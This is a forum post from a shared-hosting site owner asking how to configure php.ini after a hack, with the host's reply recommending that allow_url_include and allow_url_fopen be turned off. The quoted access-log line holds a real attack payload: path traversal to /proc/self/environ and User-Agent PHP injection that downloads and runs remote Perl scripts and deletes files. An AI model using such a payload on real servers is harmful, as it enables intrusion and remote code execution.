I have been attacked on a shared host server (heartinternet) and they said I should configure my own
php.ini file properly.
Well I have a little php/MySQL program with a registering function, a little admin site however someone hacked it.
What is the general way to configure a
php.ini file to be able to prevent attack like this? Any good setting would be really appreciated.
Here is what I got from the webhost provider:
18.104.22.168 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
Because script injection attacks the site code itself, it is able to completely avoid webserver security. Unfortunately, some content management systems (especially older versions of Joomla) are extremely susceptible to this form of attack.
A simple way to remove the ability for attackers to use this method is to add a php.ini file at the top-level of the website with the following contents - be aware though that the web-site will need testing afterwards to ensure that no legitimate web-site scripted actions have been affected by the change:
The php.ini directives are...
allow_url_include = "0" allow_url_fopen = "0"